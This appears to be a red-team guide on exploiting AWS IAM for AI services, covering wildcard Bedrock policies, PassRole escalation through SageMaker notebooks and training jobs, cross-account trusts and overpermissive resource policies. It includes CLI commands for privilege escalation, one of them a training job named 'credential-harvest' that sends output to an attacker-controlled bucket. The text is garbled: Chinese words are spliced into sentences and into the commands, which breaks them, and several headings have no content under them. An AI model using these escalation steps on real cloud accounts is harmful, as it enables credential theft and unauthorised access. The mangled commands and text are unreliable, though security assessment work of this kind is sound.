AWS IAM for AI Services

IAM exploitation patterns for AWS AI services: overprivileged roles, cross-account model access, service-linked roles, resource policies for Bedrock and SageMaker, and privilege escalation through AI-specific IAM actions.

AWS IAM for AI Services

IAM is the control plane for all AWS AI services. Every Bedrock invocation, SageMaker endpoint call, and Comprehend analysis is authorized through IAM policies. For red teamers, IAM misconfigurations in AI services are the most reliable entry point 因為 they follow predictable patterns: organizations copy broad policies from documentation, fail to scope resource ARNs, and grant wildcard 權限 to "get things working." AI services compound this problem 因為 their IAM action space is large, poorly understood, and constantly expanding as AWS adds features.

Overprivileged Role Patterns

The Wildcard Problem

The most common AI IAM misconfiguration is wildcard actions and resources:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "bedrock:*",
      "Resource": "*"
    }
  ]
}

This single statement grants 40+ Bedrock actions including model invocation, custom model creation, 代理 management, 護欄 modification, and 知識庫 administration. Organizations apply this policy 因為 scoping Bedrock 權限 requires 理解 the full action space.

High-Risk AI IAM Actions

Privilege Escalation Paths

1. 1

   Notebook-based escalation

   With sagemaker:CreateNotebookInstance and iam:PassRole, create a notebook instance with a highly privileged role. Access the notebook to assume that role's 權限.

   # Create notebook with a privileged role
   aws sagemaker create-notebook-instance \
     --notebook-instance-name 攻擊者-notebook \
     --instance-type ml.t3.medium \
     --role-arn arn:aws:iam::123456789012:role/SageMakerFullAccess \
     --direct-internet-access Enabled
    
   # Wait for notebook to be InService, then access via presigned URL
   aws sagemaker create-presigned-notebook-instance-url \
     --notebook-instance-name 攻擊者-notebook

2. 2

   Training job escalation

   With sagemaker:CreateTrainingJob and iam:PassRole, launch a 訓練 job with a privileged role. The 訓練 container runs as the specified role and can access any resources that role permits.

   # Create a 訓練 job with a custom container that exfiltrates credentials
   aws sagemaker create-訓練-job \
     --訓練-job-name credential-harvest \
     --role-arn arn:aws:iam::123456789012:role/SageMakerExecRole \
     --algorithm-specification \
       TrainingImage=<攻擊者-ecr-image>,TrainingInputMode=File \
     --resource-config InstanceType=ml.m5.large,InstanceCount=1,VolumeSizeInGB=10 \
     --輸出-data-config S3OutputPath=s3://攻擊者-bucket/輸出 \
     --stopping-condition MaxRuntimeInSeconds=300

3. 3

   代理-based escalation

   With bedrock-代理:CreateAgent and appropriate Lambda/API 權限, create an 代理 with access to tools that exceed 攻擊者's current 權限. The 代理's tool execution happens through Lambda functions with their own IAM roles.

Cross-Account Model Access

Trust Relationships

Organizations frequently set up cross-account access for AI services, particularly when:

• A central ML platform account hosts models consumed by multiple application accounts
• Data science teams in separate accounts need access to shared 訓練資料
• A production account deploys models trained in a development account

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::987654321098:root"
      },
      "Action": "sts:AssumeRole",
      "Resource": "arn:aws:iam::123456789012:role/CrossAccountBedrockAccess"
    }
  ]
}

Cross-Account 攻擊 Scenarios

Detecting Cross-Account Access

# Check for cross-account roles related to AI
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument | to_string(@), `987654321098`)].RoleName'
 
# Check S3 bucket policies for cross-account access to model artifacts
aws s3api get-bucket-policy --bucket ml-model-artifacts
 
# Check for Bedrock model sharing (custom models shared across accounts)
aws bedrock list-custom-models

Service-Linked Roles

What They Are

AWS creates service-linked roles (SLRs) automatically for certain AI services. These roles have AWS-defined 權限 that cannot be modified by the customer. Key AI service-linked roles:

SLR Abuse

Service-linked roles cannot be directly assumed by users, but their 權限 create indirect attack surfaces:

• 權限 inheritance: Resources created by SLRs inherit the SLR's broad 權限. A SageMaker notebook managed by the SLR has access to the SLR's EC2 and S3 權限.
• Implicit trust: SLRs are often excluded from IAM audits 因為 they are "AWS-managed," but their 權限 scope may exceed what the organization intends.
• Deletion protection: SLRs cannot be deleted while the service is in use, providing a permanent 權限 baseline.

Resource Policies

SageMaker Endpoint Policies

SageMaker endpoints support resource-based policies that control which principals can invoke them. Missing or overpermissive endpoint policies are common:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "sagemaker:InvokeEndpoint",
      "Resource": "arn:aws:sagemaker:us-east-1:123456789012:endpoint/production-model"
    }
  ]
}

This policy allows any AWS principal (including principals in other accounts) to invoke the endpoint.

S3 Bucket Policies for AI Data

Model artifacts and 訓練資料 stored in S3 are protected by bucket policies. Common misconfigurations:

• Public access: Buckets containing model artifacts with public read access
• Overpermissive prefix policies: Policies that grant access to the entire bucket when only specific prefixes (e.g., /models/) should be accessible
• Missing encryption requirements: No condition requiring s3:x-amz-server-side-encryption for uploads

VPC Endpoint Policies

VPC endpoints for SageMaker APIs should restrict which principals and actions are allowed:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "sagemaker:InvokeEndpoint"
      ],
      "Resource": "arn:aws:sagemaker:us-east-1:123456789012:endpoint/*"
    }
  ]
}

IAM 評估 Methodology

Enumeration Checklist

1. 識別 AI-related roles: Search for roles with bedrock, sagemaker, comprehend, rekognition in their names or policies
2. Analyze attached policies: Check for wildcard actions (bedrock:*, sagemaker:*) and wildcard resources
3. Check PassRole scope: Determine if PassRole is scoped to specific roles or allows passing any role
4. Map cross-account trusts: 識別 roles that can be assumed from other accounts
5. Review resource policies: Check S3 bucket policies, endpoint policies, and VPC endpoint policies
6. Audit service-linked roles: 理解 what 權限 SLRs provide implicitly
7. Check condition keys: Look for missing conditions like aws:SourceVpc, aws:PrincipalOrgID, or IP restrictions

相關主題

• AWS AI Services 概覽 -- Service landscape and enumeration
• Bedrock 攻擊 Surface -- IAM misconfigurations in Bedrock context
• SageMaker 利用 -- IAM-dependent SageMaker attacks
• GCP IAM for AI -- Comparison with GCP IAM patterns

參考文獻

• AWS IAM Actions for Bedrock -- Complete Bedrock IAM action reference
• AWS IAM Actions for SageMaker -- Complete SageMaker IAM action reference
• SageMaker IAM Roles -- Execution role documentation